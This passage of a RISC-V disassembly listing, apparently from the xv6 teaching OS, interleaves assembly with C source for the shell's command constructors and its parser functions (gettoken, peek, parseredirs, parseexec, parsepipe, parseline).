21c: bd8080e7 jalr -1064(ra) # df0 <close>
runcmd(pcmd->left);
220: 6488 ld a0,8(s1)
222: 00000097 auipc ra,0x0
226: e86080e7 jalr -378(ra) # a8 <runcmd>
close(0);
22a: 00001097 auipc ra,0x1
22e: bc6080e7 jalr -1082(ra) # df0 <close>
dup(p[0]);
232: fd842503 lw a0,-40(s0)
236: 00001097 auipc ra,0x1
23a: c0a080e7 jalr -1014(ra) # e40 <dup>
close(p[0]);
23e: fd842503 lw a0,-40(s0)
242: 00001097 auipc ra,0x1
246: bae080e7 jalr -1106(ra) # df0 <close>
close(p[1]);
24a: fdc42503 lw a0,-36(s0)
24e: 00001097 auipc ra,0x1
252: ba2080e7 jalr -1118(ra) # df0 <close>
runcmd(pcmd->right);
256: 6888 ld a0,16(s1)
258: 00000097 auipc ra,0x0
25c: e50080e7 jalr -432(ra) # a8 <runcmd>
if(fork1() == 0)
260: 00000097 auipc ra,0x0
264: e1a080e7 jalr -486(ra) # 7a <fork1>
268: ea0515e3 bnez a0,112 <runcmd+0x6a>
runcmd(bcmd->cmd);
26c: 6488 ld a0,8(s1)
26e: 00000097 auipc ra,0x0
272: e3a080e7 jalr -454(ra) # a8 <runcmd>
0000000000000276 <execcmd>:
//PAGEBREAK!
// Constructors
struct cmd*
execcmd(void)
{
276: 1101 addi sp,sp,-32
278: ec06 sd ra,24(sp)
27a: e822 sd s0,16(sp)
27c: e426 sd s1,8(sp)
27e: 1000 addi s0,sp,32
struct execcmd *cmd;
cmd = malloc(sizeof(*cmd));
280: 0a800513 li a0,168
284: 00001097 auipc ra,0x1
288: f9e080e7 jalr -98(ra) # 1222 <malloc>
28c: 84aa mv s1,a0
memset(cmd, 0, sizeof(*cmd));
28e: 0a800613 li a2,168
292: 4581 li a1,0
294: 00001097 auipc ra,0x1
298: 93a080e7 jalr -1734(ra) # bce <memset>
cmd->type = EXEC;
29c: 4785 li a5,1
29e: c09c sw a5,0(s1)
return (struct cmd*)cmd;
}
2a0: 8526 mv a0,s1
2a2: 60e2 ld ra,24(sp)
2a4: 6442 ld s0,16(sp)
2a6: 64a2 ld s1,8(sp)
2a8: 6105 addi sp,sp,32
2aa: 8082 ret
00000000000002ac <redircmd>:
struct cmd*
redircmd(struct cmd *subcmd, char *file, char *efile, int mode, int fd)
{
2ac: 7139 addi sp,sp,-64
2ae: fc06 sd ra,56(sp)
2b0: f822 sd s0,48(sp)
2b2: f426 sd s1,40(sp)
2b4: f04a sd s2,32(sp)
2b6: ec4e sd s3,24(sp)
2b8: e852 sd s4,16(sp)
2ba: e456 sd s5,8(sp)
2bc: e05a sd s6,0(sp)
2be: 0080 addi s0,sp,64
2c0: 8b2a mv s6,a0
2c2: 8aae mv s5,a1
2c4: 8a32 mv s4,a2
2c6: 89b6 mv s3,a3
2c8: 893a mv s2,a4
struct redircmd *cmd;
cmd = malloc(sizeof(*cmd));
2ca: 02800513 li a0,40
2ce: 00001097 auipc ra,0x1
2d2: f54080e7 jalr -172(ra) # 1222 <malloc>
2d6: 84aa mv s1,a0
memset(cmd, 0, sizeof(*cmd));
2d8: 02800613 li a2,40
2dc: 4581 li a1,0
2de: 00001097 auipc ra,0x1
2e2: 8f0080e7 jalr -1808(ra) # bce <memset>
cmd->type = REDIR;
2e6: 4789 li a5,2
2e8: c09c sw a5,0(s1)
cmd->cmd = subcmd;
2ea: 0164b423 sd s6,8(s1)
cmd->file = file;
2ee: 0154b823 sd s5,16(s1)
cmd->efile = efile;
2f2: 0144bc23 sd s4,24(s1)
cmd->mode = mode;
2f6: 0334a023 sw s3,32(s1)
cmd->fd = fd;
2fa: 0324a223 sw s2,36(s1)
return (struct cmd*)cmd;
}
2fe: 8526 mv a0,s1
300: 70e2 ld ra,56(sp)
302: 7442 ld s0,48(sp)
304: 74a2 ld s1,40(sp)
306: 7902 ld s2,32(sp)
308: 69e2 ld s3,24(sp)
30a: 6a42 ld s4,16(sp)
30c: 6aa2 ld s5,8(sp)
30e: 6b02 ld s6,0(sp)
310: 6121 addi sp,sp,64
312: 8082 ret
0000000000000314 <pipecmd>:
struct cmd*
pipecmd(struct cmd *left, struct cmd *right)
{
314: 7179 addi sp,sp,-48
316: f406 sd ra,40(sp)
318: f022 sd s0,32(sp)
31a: ec26 sd s1,24(sp)
31c: e84a sd s2,16(sp)
31e: e44e sd s3,8(sp)
320: 1800 addi s0,sp,48
322: 89aa mv s3,a0
324: 892e mv s2,a1
struct pipecmd *cmd;
cmd = malloc(sizeof(*cmd));
326: 4561 li a0,24
328: 00001097 auipc ra,0x1
32c: efa080e7 jalr -262(ra) # 1222 <malloc>
330: 84aa mv s1,a0
memset(cmd, 0, sizeof(*cmd));
332: 4661 li a2,24
334: 4581 li a1,0
336: 00001097 auipc ra,0x1
33a: 898080e7 jalr -1896(ra) # bce <memset>
cmd->type = PIPE;
33e: 478d li a5,3
340: c09c sw a5,0(s1)
cmd->left = left;
342: 0134b423 sd s3,8(s1)
cmd->right = right;
346: 0124b823 sd s2,16(s1)
return (struct cmd*)cmd;
}
34a: 8526 mv a0,s1
34c: 70a2 ld ra,40(sp)
34e: 7402 ld s0,32(sp)
350: 64e2 ld s1,24(sp)
352: 6942 ld s2,16(sp)
354: 69a2 ld s3,8(sp)
356: 6145 addi sp,sp,48
358: 8082 ret
000000000000035a <listcmd>:
struct cmd*
listcmd(struct cmd *left, struct cmd *right)
{
35a: 7179 addi sp,sp,-48
35c: f406 sd ra,40(sp)
35e: f022 sd s0,32(sp)
360: ec26 sd s1,24(sp)
362: e84a sd s2,16(sp)
364: e44e sd s3,8(sp)
366: 1800 addi s0,sp,48
368: 89aa mv s3,a0
36a: 892e mv s2,a1
struct listcmd *cmd;
cmd = malloc(sizeof(*cmd));
36c: 4561 li a0,24
36e: 00001097 auipc ra,0x1
372: eb4080e7 jalr -332(ra) # 1222 <malloc>
376: 84aa mv s1,a0
memset(cmd, 0, sizeof(*cmd));
378: 4661 li a2,24
37a: 4581 li a1,0
37c: 00001097 auipc ra,0x1
380: 852080e7 jalr -1966(ra) # bce <memset>
cmd->type = LIST;
384: 4791 li a5,4
386: c09c sw a5,0(s1)
cmd->left = left;
388: 0134b423 sd s3,8(s1)
cmd->right = right;
38c: 0124b823 sd s2,16(s1)
return (struct cmd*)cmd;
}
390: 8526 mv a0,s1
392: 70a2 ld ra,40(sp)
394: 7402 ld s0,32(sp)
396: 64e2 ld s1,24(sp)
398: 6942 ld s2,16(sp)
39a: 69a2 ld s3,8(sp)
39c: 6145 addi sp,sp,48
39e: 8082 ret
00000000000003a0 <backcmd>:
struct cmd*
backcmd(struct cmd *subcmd)
{
3a0: 1101 addi sp,sp,-32
3a2: ec06 sd ra,24(sp)
3a4: e822 sd s0,16(sp)
3a6: e426 sd s1,8(sp)
3a8: e04a sd s2,0(sp)
3aa: 1000 addi s0,sp,32
3ac: 892a mv s2,a0
struct backcmd *cmd;
cmd = malloc(sizeof(*cmd));
3ae: 4541 li a0,16
3b0: 00001097 auipc ra,0x1
3b4: e72080e7 jalr -398(ra) # 1222 <malloc>
3b8: 84aa mv s1,a0
memset(cmd, 0, sizeof(*cmd));
3ba: 4641 li a2,16
3bc: 4581 li a1,0
3be: 00001097 auipc ra,0x1
3c2: 810080e7 jalr -2032(ra) # bce <memset>
cmd->type = BACK;
3c6: 4795 li a5,5
3c8: c09c sw a5,0(s1)
cmd->cmd = subcmd;
3ca: 0124b423 sd s2,8(s1)
return (struct cmd*)cmd;
}
3ce: 8526 mv a0,s1
3d0: 60e2 ld ra,24(sp)
3d2: 6442 ld s0,16(sp)
3d4: 64a2 ld s1,8(sp)
3d6: 6902 ld s2,0(sp)
3d8: 6105 addi sp,sp,32
3da: 8082 ret
00000000000003dc <gettoken>:
char whitespace[] = " \t\r\n\v";
char symbols[] = "<|>&;()";
int
gettoken(char **ps, char *es, char **q, char **eq)
{
3dc: 7139 addi sp,sp,-64
3de: fc06 sd ra,56(sp)
3e0: f822 sd s0,48(sp)
3e2: f426 sd s1,40(sp)
3e4: f04a sd s2,32(sp)
3e6: ec4e sd s3,24(sp)
3e8: e852 sd s4,16(sp)
3ea: e456 sd s5,8(sp)
3ec: e05a sd s6,0(sp)
3ee: 0080 addi s0,sp,64
3f0: 8a2a mv s4,a0
3f2: 892e mv s2,a1
3f4: 8ab2 mv s5,a2
3f6: 8b36 mv s6,a3
char *s;
int ret;
s = *ps;
3f8: 6104 ld s1,0(a0)
while(s < es && strchr(whitespace, *s))
3fa: 00001997 auipc s3,0x1
3fe: 0ce98993 addi s3,s3,206 # 14c8 <whitespace>
402: 00b4fe63 bgeu s1,a1,41e <gettoken+0x42>
406: 0004c583 lbu a1,0(s1)
40a: 854e mv a0,s3
40c: 00000097 auipc ra,0x0
410: 7e4080e7 jalr 2020(ra) # bf0 <strchr>
414: c509 beqz a0,41e <gettoken+0x42>
s++;
416: 0485 addi s1,s1,1
while(s < es && strchr(whitespace, *s))
418: fe9917e3 bne s2,s1,406 <gettoken+0x2a>
s++;
41c: 84ca mv s1,s2
if(q)
41e: 000a8463 beqz s5,426 <gettoken+0x4a>
*q = s;
422: 009ab023 sd s1,0(s5)
ret = *s;
426: 0004c783 lbu a5,0(s1)
42a: 00078a9b sext.w s5,a5
switch(*s){
42e: 03c00713 li a4,60
432: 06f76663 bltu a4,a5,49e <gettoken+0xc2>
436: 03a00713 li a4,58
43a: 00f76e63 bltu a4,a5,456 <gettoken+0x7a>
43e: cf89 beqz a5,458 <gettoken+0x7c>
440: 02600713 li a4,38
444: 00e78963 beq a5,a4,456 <gettoken+0x7a>
448: fd87879b addiw a5,a5,-40
44c: 0ff7f793 zext.b a5,a5
450: 4705 li a4,1
452: 06f76d63 bltu a4,a5,4cc <gettoken+0xf0>
case '(':
case ')':
case ';':
case '&':
case '<':
s++;
456: 0485 addi s1,s1,1
ret = 'a';
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
s++;
break;
}
if(eq)
458: 000b0463 beqz s6,460 <gettoken+0x84>
*eq = s;
45c: 009b3023 sd s1,0(s6)
while(s < es && strchr(whitespace, *s))
460: 00001997 auipc s3,0x1
464: 06898993 addi s3,s3,104 # 14c8 <whitespace>
468: 0124fe63 bgeu s1,s2,484 <gettoken+0xa8>
46c: 0004c583 lbu a1,0(s1)
470: 854e mv a0,s3
472: 00000097 auipc ra,0x0
476: 77e080e7 jalr 1918(ra) # bf0 <strchr>
47a: c509 beqz a0,484 <gettoken+0xa8>
s++;
47c: 0485 addi s1,s1,1
while(s < es && strchr(whitespace, *s))
47e: fe9917e3 bne s2,s1,46c <gettoken+0x90>
s++;
482: 84ca mv s1,s2
*ps = s;
484: 009a3023 sd s1,0(s4)
return ret;
}
488: 8556 mv a0,s5
48a: 70e2 ld ra,56(sp)
48c: 7442 ld s0,48(sp)
48e: 74a2 ld s1,40(sp)
490: 7902 ld s2,32(sp)
492: 69e2 ld s3,24(sp)
494: 6a42 ld s4,16(sp)
496: 6aa2 ld s5,8(sp)
498: 6b02 ld s6,0(sp)
49a: 6121 addi sp,sp,64
49c: 8082 ret
switch(*s){
49e: 03e00713 li a4,62
4a2: 02e79163 bne a5,a4,4c4 <gettoken+0xe8>
s++;
4a6: 00148693 addi a3,s1,1
if(*s == '>'){
4aa: 0014c703 lbu a4,1(s1)
4ae: 03e00793 li a5,62
s++;
4b2: 0489 addi s1,s1,2
ret = '+';
4b4: 02b00a93 li s5,43
if(*s == '>'){
4b8: faf700e3 beq a4,a5,458 <gettoken+0x7c>
s++;
4bc: 84b6 mv s1,a3
ret = *s;
4be: 03e00a93 li s5,62
4c2: bf59 j 458 <gettoken+0x7c>
switch(*s){
4c4: 07c00713 li a4,124
4c8: f8e787e3 beq a5,a4,456 <gettoken+0x7a>
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
4cc: 00001997 auipc s3,0x1
4d0: ffc98993 addi s3,s3,-4 # 14c8 <whitespace>
4d4: 00001a97 auipc s5,0x1
4d8: feca8a93 addi s5,s5,-20 # 14c0 <symbols>
4dc: 0324f663 bgeu s1,s2,508 <gettoken+0x12c>
4e0: 0004c583 lbu a1,0(s1)
4e4: 854e mv a0,s3
4e6: 00000097 auipc ra,0x0
4ea: 70a080e7 jalr 1802(ra) # bf0 <strchr>
4ee: e50d bnez a0,518 <gettoken+0x13c>
4f0: 0004c583 lbu a1,0(s1)
4f4: 8556 mv a0,s5
4f6: 00000097 auipc ra,0x0
4fa: 6fa080e7 jalr 1786(ra) # bf0 <strchr>
4fe: e911 bnez a0,512 <gettoken+0x136>
s++;
500: 0485 addi s1,s1,1
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
502: fc991fe3 bne s2,s1,4e0 <gettoken+0x104>
s++;
506: 84ca mv s1,s2
if(eq)
508: 06100a93 li s5,97
50c: f40b18e3 bnez s6,45c <gettoken+0x80>
510: bf95 j 484 <gettoken+0xa8>
ret = 'a';
512: 06100a93 li s5,97
516: b789 j 458 <gettoken+0x7c>
518: 06100a93 li s5,97
51c: bf35 j 458 <gettoken+0x7c>
000000000000051e <peek>:
int
peek(char **ps, char *es, char *toks)
{
51e: 7139 addi sp,sp,-64
520: fc06 sd ra,56(sp)
522: f822 sd s0,48(sp)
524: f426 sd s1,40(sp)
526: f04a sd s2,32(sp)
528: ec4e sd s3,24(sp)
52a: e852 sd s4,16(sp)
52c: e456 sd s5,8(sp)
52e: 0080 addi s0,sp,64
530: 8a2a mv s4,a0
532: 892e mv s2,a1
534: 8ab2 mv s5,a2
char *s;
s = *ps;
536: 6104 ld s1,0(a0)
while(s < es && strchr(whitespace, *s))
538: 00001997 auipc s3,0x1
53c: f9098993 addi s3,s3,-112 # 14c8 <whitespace>
540: 00b4fe63 bgeu s1,a1,55c <peek+0x3e>
544: 0004c583 lbu a1,0(s1)
548: 854e mv a0,s3
54a: 00000097 auipc ra,0x0
54e: 6a6080e7 jalr 1702(ra) # bf0 <strchr>
552: c509 beqz a0,55c <peek+0x3e>
s++;
554: 0485 addi s1,s1,1
while(s < es && strchr(whitespace, *s))
556: fe9917e3 bne s2,s1,544 <peek+0x26>
s++;
55a: 84ca mv s1,s2
*ps = s;
55c: 009a3023 sd s1,0(s4)
return *s && strchr(toks, *s);
560: 0004c583 lbu a1,0(s1)
564: 4501 li a0,0
566: e991 bnez a1,57a <peek+0x5c>
}
568: 70e2 ld ra,56(sp)
56a: 7442 ld s0,48(sp)
56c: 74a2 ld s1,40(sp)
56e: 7902 ld s2,32(sp)
570: 69e2 ld s3,24(sp)
572: 6a42 ld s4,16(sp)
574: 6aa2 ld s5,8(sp)
576: 6121 addi sp,sp,64
578: 8082 ret
return *s && strchr(toks, *s);
57a: 8556 mv a0,s5
57c: 00000097 auipc ra,0x0
580: 674080e7 jalr 1652(ra) # bf0 <strchr>
584: 00a03533 snez a0,a0
588: b7c5 j 568 <peek+0x4a>
000000000000058a <parseredirs>:
return cmd;
}
struct cmd*
parseredirs(struct cmd *cmd, char **ps, char *es)
{
58a: 7159 addi sp,sp,-112
58c: f486 sd ra,104(sp)
58e: f0a2 sd s0,96(sp)
590: eca6 sd s1,88(sp)
592: e8ca sd s2,80(sp)
594: e4ce sd s3,72(sp)
596: e0d2 sd s4,64(sp)
598: fc56 sd s5,56(sp)
59a: f85a sd s6,48(sp)
59c: f45e sd s7,40(sp)
59e: f062 sd s8,32(sp)
5a0: ec66 sd s9,24(sp)
5a2: 1880 addi s0,sp,112
5a4: 8a2a mv s4,a0
5a6: 89ae mv s3,a1
5a8: 8932 mv s2,a2
int tok;
char *q, *eq;
while(peek(ps, es, "<>")){
5aa: 00001b97 auipc s7,0x1
5ae: dc6b8b93 addi s7,s7,-570 # 1370 <malloc+0x14e>
tok = gettoken(ps, es, 0, 0);
if(gettoken(ps, es, &q, &eq) != 'a')
5b2: 06100c13 li s8,97
panic("missing file for redirection");
switch(tok){
5b6: 03c00c93 li s9,60
while(peek(ps, es, "<>")){
5ba: a02d j 5e4 <parseredirs+0x5a>
panic("missing file for redirection");
5bc: 00001517 auipc a0,0x1
5c0: d9450513 addi a0,a0,-620 # 1350 <malloc+0x12e>
5c4: 00000097 auipc ra,0x0
5c8: a90080e7 jalr -1392(ra) # 54 <panic>
case '<':
cmd = redircmd(cmd, q, eq, O_RDONLY, 0);
5cc: 4701 li a4,0
5ce: 4681 li a3,0
5d0: f9043603 ld a2,-112(s0)
5d4: f9843583 ld a1,-104(s0)
5d8: 8552 mv a0,s4
5da: 00000097 auipc ra,0x0
5de: cd2080e7 jalr -814(ra) # 2ac <redircmd>
5e2: 8a2a mv s4,a0
switch(tok){
5e4: 03e00b13 li s6,62
5e8: 02b00a93 li s5,43
while(peek(ps, es, "<>")){
5ec: 865e mv a2,s7
5ee: 85ca mv a1,s2
5f0: 854e mv a0,s3
5f2: 00000097 auipc ra,0x0
5f6: f2c080e7 jalr -212(ra) # 51e <peek>
5fa: c925 beqz a0,66a <parseredirs+0xe0>
tok = gettoken(ps, es, 0, 0);
5fc: 4681 li a3,0
5fe: 4601 li a2,0
600: 85ca mv a1,s2
602: 854e mv a0,s3
604: 00000097 auipc ra,0x0
608: dd8080e7 jalr -552(ra) # 3dc <gettoken>
60c: 84aa mv s1,a0
if(gettoken(ps, es, &q, &eq) != 'a')
60e: f9040693 addi a3,s0,-112
612: f9840613 addi a2,s0,-104
616: 85ca mv a1,s2
618: 854e mv a0,s3
61a: 00000097 auipc ra,0x0
61e: dc2080e7 jalr -574(ra) # 3dc <gettoken>
622: f9851de3 bne a0,s8,5bc <parseredirs+0x32>
switch(tok){
626: fb9483e3 beq s1,s9,5cc <parseredirs+0x42>
62a: 03648263 beq s1,s6,64e <parseredirs+0xc4>
62e: fb549fe3 bne s1,s5,5ec <parseredirs+0x62>
break;
case '>':
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE|O_TRUNC, 1);
break;
case '+': // >>
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
632: 4705 li a4,1
634: 20100693 li a3,513
638: f9043603 ld a2,-112(s0)
63c: f9843583 ld a1,-104(s0)
640: 8552 mv a0,s4
642: 00000097 auipc ra,0x0
646: c6a080e7 jalr -918(ra) # 2ac <redircmd>
64a: 8a2a mv s4,a0
break;
64c: bf61 j 5e4 <parseredirs+0x5a>
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE|O_TRUNC, 1);
64e: 4705 li a4,1
650: 60100693 li a3,1537
654: f9043603 ld a2,-112(s0)
658: f9843583 ld a1,-104(s0)
65c: 8552 mv a0,s4
65e: 00000097 auipc ra,0x0
662: c4e080e7 jalr -946(ra) # 2ac <redircmd>
666: 8a2a mv s4,a0
break;
668: bfb5 j 5e4 <parseredirs+0x5a>
}
}
return cmd;
}
66a: 8552 mv a0,s4
66c: 70a6 ld ra,104(sp)
66e: 7406 ld s0,96(sp)
670: 64e6 ld s1,88(sp)
672: 6946 ld s2,80(sp)
674: 69a6 ld s3,72(sp)
676: 6a06 ld s4,64(sp)
678: 7ae2 ld s5,56(sp)
67a: 7b42 ld s6,48(sp)
67c: 7ba2 ld s7,40(sp)
67e: 7c02 ld s8,32(sp)
680: 6ce2 ld s9,24(sp)
682: 6165 addi sp,sp,112
684: 8082 ret
0000000000000686 <parseexec>:
return cmd;
}
struct cmd*
parseexec(char **ps, char *es)
{
686: 7159 addi sp,sp,-112
688: f486 sd ra,104(sp)
68a: f0a2 sd s0,96(sp)
68c: eca6 sd s1,88(sp)
68e: e8ca sd s2,80(sp)
690: e4ce sd s3,72(sp)
692: e0d2 sd s4,64(sp)
694: fc56 sd s5,56(sp)
696: f85a sd s6,48(sp)
698: f45e sd s7,40(sp)
69a: f062 sd s8,32(sp)
69c: ec66 sd s9,24(sp)
69e: 1880 addi s0,sp,112
6a0: 8a2a mv s4,a0
6a2: 8aae mv s5,a1
char *q, *eq;
int tok, argc;
struct execcmd *cmd;
struct cmd *ret;
if(peek(ps, es, "("))
6a4: 00001617 auipc a2,0x1
6a8: cd460613 addi a2,a2,-812 # 1378 <malloc+0x156>
6ac: 00000097 auipc ra,0x0
6b0: e72080e7 jalr -398(ra) # 51e <peek>
6b4: e905 bnez a0,6e4 <parseexec+0x5e>
6b6: 89aa mv s3,a0
return parseblock(ps, es);
ret = execcmd();
6b8: 00000097 auipc ra,0x0
6bc: bbe080e7 jalr -1090(ra) # 276 <execcmd>
6c0: 8c2a mv s8,a0
cmd = (struct execcmd*)ret;
argc = 0;
ret = parseredirs(ret, ps, es);
6c2: 8656 mv a2,s5
6c4: 85d2 mv a1,s4
6c6: 00000097 auipc ra,0x0
6ca: ec4080e7 jalr -316(ra) # 58a <parseredirs>
6ce: 84aa mv s1,a0
while(!peek(ps, es, "|)&;")){
6d0: 008c0913 addi s2,s8,8
6d4: 00001b17 auipc s6,0x1
6d8: cc4b0b13 addi s6,s6,-828 # 1398 <malloc+0x176>
if((tok=gettoken(ps, es, &q, &eq)) == 0)
break;
if(tok != 'a')
6dc: 06100c93 li s9,97
panic("syntax");
cmd->argv[argc] = q;
cmd->eargv[argc] = eq;
argc++;
if(argc >= MAXARGS)
6e0: 4ba9 li s7,10
while(!peek(ps, es, "|)&;")){
6e2: a0b1 j 72e <parseexec+0xa8>
return parseblock(ps, es);
6e4: 85d6 mv a1,s5
6e6: 8552 mv a0,s4
6e8: 00000097 auipc ra,0x0
6ec: 1bc080e7 jalr 444(ra) # 8a4 <parseblock>
6f0: 84aa mv s1,a0
ret = parseredirs(ret, ps, es);
}
cmd->argv[argc] = 0;
cmd->eargv[argc] = 0;
return ret;
}
6f2: 8526 mv a0,s1
6f4: 70a6 ld ra,104(sp)
6f6: 7406 ld s0,96(sp)
6f8: 64e6 ld s1,88(sp)
6fa: 6946 ld s2,80(sp)
6fc: 69a6 ld s3,72(sp)
6fe: 6a06 ld s4,64(sp)
700: 7ae2 ld s5,56(sp)
702: 7b42 ld s6,48(sp)
704: 7ba2 ld s7,40(sp)
706: 7c02 ld s8,32(sp)
708: 6ce2 ld s9,24(sp)
70a: 6165 addi sp,sp,112
70c: 8082 ret
panic("syntax");
70e: 00001517 auipc a0,0x1
712: c7250513 addi a0,a0,-910 # 1380 <malloc+0x15e>
716: 00000097 auipc ra,0x0
71a: 93e080e7 jalr -1730(ra) # 54 <panic>
ret = parseredirs(ret, ps, es);
71e: 8656 mv a2,s5
720: 85d2 mv a1,s4
722: 8526 mv a0,s1
724: 00000097 auipc ra,0x0
728: e66080e7 jalr -410(ra) # 58a <parseredirs>
72c: 84aa mv s1,a0
while(!peek(ps, es, "|)&;")){
72e: 865a mv a2,s6
730: 85d6 mv a1,s5
732: 8552 mv a0,s4
734: 00000097 auipc ra,0x0
738: dea080e7 jalr -534(ra) # 51e <peek>
73c: e131 bnez a0,780 <parseexec+0xfa>
if((tok=gettoken(ps, es, &q, &eq)) == 0)
73e: f9040693 addi a3,s0,-112
742: f9840613 addi a2,s0,-104
746: 85d6 mv a1,s5
748: 8552 mv a0,s4
74a: 00000097 auipc ra,0x0
74e: c92080e7 jalr -878(ra) # 3dc <gettoken>
752: c51d beqz a0,780 <parseexec+0xfa>
if(tok != 'a')
754: fb951de3 bne a0,s9,70e <parseexec+0x88>
cmd->argv[argc] = q;
758: f9843783 ld a5,-104(s0)
75c: 00f93023 sd a5,0(s2)
cmd->eargv[argc] = eq;
760: f9043783 ld a5,-112(s0)
764: 04f93823 sd a5,80(s2)
argc++;
768: 2985 addiw s3,s3,1
if(argc >= MAXARGS)
76a: 0921 addi s2,s2,8
76c: fb7999e3 bne s3,s7,71e <parseexec+0x98>
panic("too many args");
770: 00001517 auipc a0,0x1
774: c1850513 addi a0,a0,-1000 # 1388 <malloc+0x166>
778: 00000097 auipc ra,0x0
77c: 8dc080e7 jalr -1828(ra) # 54 <panic>
cmd->argv[argc] = 0;
780: 098e slli s3,s3,0x3
782: 9c4e add s8,s8,s3
784: 000c3423 sd zero,8(s8)
cmd->eargv[argc] = 0;
788: 040c3c23 sd zero,88(s8)
return ret;
78c: b79d j 6f2 <parseexec+0x6c>
000000000000078e <parsepipe>:
{
78e: 7179 addi sp,sp,-48
790: f406 sd ra,40(sp)
792: f022 sd s0,32(sp)
794: ec26 sd s1,24(sp)
796: e84a sd s2,16(sp)
798: e44e sd s3,8(sp)
79a: 1800 addi s0,sp,48
79c: 892a mv s2,a0
79e: 89ae mv s3,a1
cmd = parseexec(ps, es);
7a0: 00000097 auipc ra,0x0
7a4: ee6080e7 jalr -282(ra) # 686 <parseexec>
7a8: 84aa mv s1,a0
if(peek(ps, es, "|")){
7aa: 00001617 auipc a2,0x1
7ae: bf660613 addi a2,a2,-1034 # 13a0 <malloc+0x17e>
7b2: 85ce mv a1,s3
7b4: 854a mv a0,s2
7b6: 00000097 auipc ra,0x0
7ba: d68080e7 jalr -664(ra) # 51e <peek>
7be: e909 bnez a0,7d0 <parsepipe+0x42>
}
7c0: 8526 mv a0,s1
7c2: 70a2 ld ra,40(sp)
7c4: 7402 ld s0,32(sp)
7c6: 64e2 ld s1,24(sp)
7c8: 6942 ld s2,16(sp)
7ca: 69a2 ld s3,8(sp)
7cc: 6145 addi sp,sp,48
7ce: 8082 ret
gettoken(ps, es, 0, 0);
7d0: 4681 li a3,0
7d2: 4601 li a2,0
7d4: 85ce mv a1,s3
7d6: 854a mv a0,s2
7d8: 00000097 auipc ra,0x0
7dc: c04080e7 jalr -1020(ra) # 3dc <gettoken>
cmd = pipecmd(cmd, parsepipe(ps, es));
7e0: 85ce mv a1,s3
7e2: 854a mv a0,s2
7e4: 00000097 auipc ra,0x0
7e8: faa080e7 jalr -86(ra) # 78e <parsepipe>
7ec: 85aa mv a1,a0
7ee: 8526 mv a0,s1
7f0: 00000097 auipc ra,0x0
7f4: b24080e7 jalr -1244(ra) # 314 <pipecmd>
7f8: 84aa mv s1,a0
return cmd;
7fa: b7d9 j 7c0 <parsepipe+0x32>
00000000000007fc <parseline>:
{
7fc: 7179 addi sp,sp,-48
7fe: f406 sd ra,40(sp)
800: f022 sd s0,32(sp)
802: ec26 sd s1,24(sp)
804: e84a sd s2,16(sp)
806: e44e sd s3,8(sp)
808: e052 sd s4,0(sp)
80a: 1800 addi s0,sp,48
80c: 892a mv s2,a0
80e: 89ae mv s3,a1
cmd = parsepipe(ps, es);
810: 00000097 auipc ra,0x0
814: f7e080e7 jalr -130(ra) # 78e <parsepipe>
818: 84aa mv s1,a0
while(peek(ps, es, "&")){
81a: 00001a17 auipc s4,0x1
81e: b8ea0a13 addi s4,s4,-1138 # 13a8 <malloc+0x186>
822: a839 j 840 <parseline+0x44>
gettoken(ps, es, 0, 0);
824: 4681 li a3,0
826: 4601 li a2,0
828: 85ce mv a1,s3
82a: 854a mv a0,s2
82c: 00000097 auipc ra,0x0
830: bb0080e7 jalr -1104(ra) # 3dc <gettoken>
cmd = backcmd(cmd);
834: 8526 mv a0,s1
836: 00000097 auipc ra,0x0
83a: b6a080e7 jalr -1174(ra) # 3a0 <backcmd>
83e: 84aa mv s1,a0
while(peek(ps, es, "&")){
840: 8652 mv a2,s4
842: 85ce mv a1,s3
844: 854a mv a0,s2
846: 00000097 auipc ra,0x0
84a: cd8080e7 jalr -808(ra) # 51e <peek>
84e: f979 bnez a0,824 <parseline+0x28>
if(peek(ps, es, ";")){
850: 00001617 auipc a2,0x1
854: b6060613 addi a2,a2,-1184 # 13b0 <malloc+0x18e>
858: 85ce mv a1,s3
85a: 854a mv a0,s2
85c: 00000097 auipc ra,0x0
860: cc2080e7 jalr -830(ra) # 51e <peek>
864: e911 bnez a0,878 <parseline+0x7c>
}
866: 8526 mv a0,s1
868: 70a2 ld ra,40(sp)
86a: 7402 ld s0,32(sp)
86c: 64e2 ld s1,24(sp)
86e: 6942 ld s2,16(sp)
870: 69a2 ld s3,8(sp)
872: 6a02 ld s4,0(sp)
874: 6145 addi sp,sp,48
876: 8082 ret
gettoken(ps, es, 0, 0);
878: 4681 li a3,0
87a: 4601 li a2,0
87c: 85ce mv a1,s3
87e: 854a mv a0,s2
880: 00000097 auipc ra,0x0
884: b5c080e7 jalr -1188(ra) # 3dc <gettoken>
cmd = listcmd(cmd, parseline(ps, es));
888: 85ce mv a1,s3
88a: 854a mv a0,s2
88c: 00000097 auipc ra,0x0
890: f70080e7 jalr -144(ra) # 7fc <parseline>
894: 85aa mv a1,a0
896: 8526 mv a0,s1
898: 00000097 auipc ra,0x0
89c: ac2080e7 jalr -1342(ra) # 35a <listcmd>
8a0: 84aa mv s1,a0
return cmd;
8a2: b7d1 j 866 <parseline+0x6a>
00000000000008a4 <parseblock>:
{
8a4: 7179 addi sp,sp,-48
8a6: f406 sd ra,40(sp)
8a8: f022 sd s0,32(sp)
8aa: ec26 sd s1,24(sp)
8ac: e84a sd s2,16(sp)
8ae: e44e sd s3,8(sp)
8b0: 1800 addi s0,sp,48
8b2: 84aa mv s1,a0
8b4: 892e mv s2,a1
if(!peek(ps, es, "("))
8b6: 00001617 auipc a2,0x1
8ba: ac260613 addi a2,a2,-1342 # 1378 <malloc+0x156>
8be: 00000097 auipc ra,0x0
8c2: c60080e7 jalr -928(ra) # 51e <peek>
8c6: c12d beqz a0,928 <parseblock+0x84>
gettoken(ps, es, 0, 0);
8c8: 4681 li a3,0
8ca: 4601 li a2,0
8cc: 85ca mv a1,s2
8ce: 8526 mv a0,s1
8d0: 00000097 auipc ra,0x0
8d4: b0c080e7 jalr -1268(ra) # 3dc <gettoken>
cmd = parseline(ps, es);
8d8: 85ca mv a1,s2
8da: 8526 mv a0,s1
8dc: 00000097 auipc ra,0x0
8e0: f20080e7 jalr -224(ra) # 7fc <parseline>
8e4: 89aa mv s3,a0
if(!peek(ps, es, ")"))
8e6: 00001617 auipc a2,0x1
